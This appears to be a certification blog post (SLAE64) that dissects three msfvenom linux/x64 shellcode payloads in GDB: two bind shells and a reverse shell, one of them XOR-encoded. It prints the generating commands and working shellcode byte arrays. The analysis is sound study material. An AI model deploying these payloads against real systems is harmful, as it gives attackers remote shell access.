The fifth assignment of the SLAE64 exam states:
- Take up at least 3 shellcode samples created using Msfvenom (née Msfpayload) for linux/x86_64
- Use GDB to dissect the functionality of the shellcode
- Document your analysis
One thing that immediately stands out is the relative lack in diversity when it comes to
linux/x64 payloads. In the end I chose the following payloads for my analysis:
The latter two payloads I chose because of how often their used and I wanted to determine what exactly they do precisely because of their popularity. That is not why I chose
shell_bind_tcp_random_port however. I was merely curious how the random port selection worked.
So without further ado, lets get started:
kalimah% msfvenom --payload linux/x64/shell_bind_tcp_random_port -f c --platform linux --arch x64 No encoder or badchars specified, outputting raw payload Payload size: 57 bytes Final size of c file: 264 bytes unsigned char buf = "\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05" "\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48" "\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62" "\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";
First let’s verify it actually works; so after dropping this into our shellcode wrapper and determining the port it has chosen with
netstat we do get a working shell on port 59937. Good.
Quickly scrolling through the disassembly to determine which syscalls are made we get this list in order of usage:
- 0x29 = socket
- 0x32 = listen
- 0x2b = accept
- 0x21 = dup2
- 0x3b = execve
But nothing related to randomness like
getrandom…let’s dissect this.
It starts by clearing RSI and through the
mul call also ends up clearing RDX. Next RSI gets incremented,
0x2 get pushed onto the stack and popped into RDI. All the arguments for the
socket syscall are in place and after storing the syscall number for
socket into RAX the call gets made.
RSI gets cleared by pushing RDX (0) onto the stack and popping it into RSI. Next the file descriptor number that
socket returned in RAX is moved to RDI via the stack, the syscall number for
listen gets set and the syscall is made…but we never set up
sockaddr_in nor called the
bind syscall? Previously we set
sockaddr_in up on the stack with our port but here it’s completely ignored and NULL is used.
It gets even stranger because the next instruction moves the syscall number for
accept into RAX and directly does the syscall…again nothing is set up for the client
However at this point we can see our shellcode is actually listening on different port (60807) than it previously was.
From here on it does the regular
dup2 dance and pushes the
/bin//sh string onto the stack before using
execve to launch a shell.
So by leaving out the
bind call we got the kernel to randomly select a port for us it seems. After searching around for a bit I ran into evidence to support that claim: " Fortunately, this is easily done by requesting port 0, which instructs the system to choose an ephemeral port number.” And by not having called
bind on the socket and leaving the associated data structure empty we’ve requested port 0 and got a random port back. Nifty.
kalimah% msfvenom --payload linux/x64/shell_bind_tcp -f c --platform linux --arch x64 LPORT=4444 No encoder or badchars specified, outputting raw payload Payload size: 86 bytes Final size of c file: 386 bytes unsigned char buf = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" "\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31" "\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f" "\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
One interesting observation off the bat is that msfvenom reports a payload size of 86 bytes, while our wrapper reports a length of 19:
As you can see in the bytecode buffer however there is a NULL byte which is essentially what our wrapper complains about.
The code starts by moving the first syscall number 0x29 for
socket into RAX via the stack. Then the
cdq instruction is used to effectively zero out RDX by sign extending the value in RAX over RDX:RAX. Then it continues to prepare the arguments for
socket and invokes the syscall before atomically swapping RAX (returned socket file descriptor) with RDI.
Then we run into our NULL byte:
mov DWORD PTR [rsp],0x5c110002
It then moves two words of data corresponding to the
sin_family in one go. The port number 0x5c11 (4444) is fine, but the family is also a word in size. Yet we only want to indicate using
AF_INET (2), so it ends up pushing the word
0x0002. In our first assignment we’ve demonstrated how to get rid of this NULL byte:
xor rax, rax push rax ; sin_zero push rax ; zero out another 8 bytes for remaining members ; including 4 bytes for sin_addr.s_addr which ; need to remain 0 mov word [rsp+2], 0x5c11 ; sin_port mov byte [rsp], 0x2 ; sin_family
The remainder is basically equivalent to what was discussed before, this time doing the
Finally let’s have a look at the reverse shell offered by msfvenom:
kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 LPORT=4444 LHOST=127.0.0.1 No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of c file: 335 bytes unsigned char buf = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48" "\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10" "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58" "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
And again we see the NULL byte…multiple actually:
This time three fields of
sockaddr_in get pushed onto the stack in one go. Just like with the previous shellcode
sin_family get pushed, but this time also
s_addr comes along.
The remainder of the shellcode is not too interesting as we have seen the same dance before in assignment 2. So instead, let’s see if there’s a way with msfvenom to get rid of these NULL bytes. Turns out we can simply pass
kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 --bad-chars '\x00' LPORT=4444 LHOST=127.0.0.1 Found 3 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none failed with Encoding failed due to a bad character (index=17, char=0x00) Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 119 (iteration=0) x64/xor chosen with final size 119 Payload size: 119 bytes Final size of c file: 524 bytes unsigned char buf = "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xfc\x9e\xcf\x93\xf1\xbd\x14\x29\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x96\xb7\x97\x0a\x9b\xbf" "\x4b\x43\xfd\xc0\xc0\x96\xb9\x2a\x5c\x90\xfe\x9e\xde\xcf\x8e" "\xbd\x14\x28\xad\xd6\x46\x75\x9b\xad\x4e\x43\xd6\xc6\xc0\x96" "\x9b\xbe\x4a\x61\x03\x50\xa5\xb2\xa9\xb2\x11\x5c\x0a\xf4\xf4" "\xcb\x68\xf5\xaf\x06\x9e\xf7\xa1\xbc\x82\xd5\x14\x7a\xb4\x17" "\x28\xc1\xa6\xf5\x9d\xcf\xf3\x9b\xcf\x93\xf1\xbd\x14\x29";
As you can see there are no NULLs and msfvenom used an encoder (x64/xor) to bypass the NULL bytes.
But what does it actually do now?
Interesting…there is a lot more going on now.
It starts by clearing RCX and setting the value 10 into it. Then it uses RIP relative addressing to save into RAX the address of where it is right now minus 17. That is the address where we started out by clearing RCX.
Next it moves
0x2914bdf193cf9efc into RBX which appear to be other instructions as decoded with Python:
>>> '2914bdf193cf9efc'.decode('hex') ')\x14\xbd\xf1\x93\xcf\x9e\xfc' >>>
Now we seem to have hit upon the decoder. It proceeds to
xor's the contents of RBX with those of
RAX+0x27, subtracts -8 from RAX (effectively adding 8) and loops back to the
xor. Thus it’s moving through the remaining instructions and decoding them one quad word at a time until the counter in RCX reaches zero. That’s when the remainder of the program becomes usable and we have our decoded program:
- Requesting port 0 gets you a random port!
cdqinstruction can also be used to clear RDX when RAX has just been cleared. This can help to reduce code size.
- msfvenom does interesting things to throw off analysis when using an encoder. The XOR encoder was easy to decode by hand but it is obvious where it’s trying to trick analysis tools.
I have uploaded the msfvenom code to jasperla/slae64 on GitHub:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE64-1614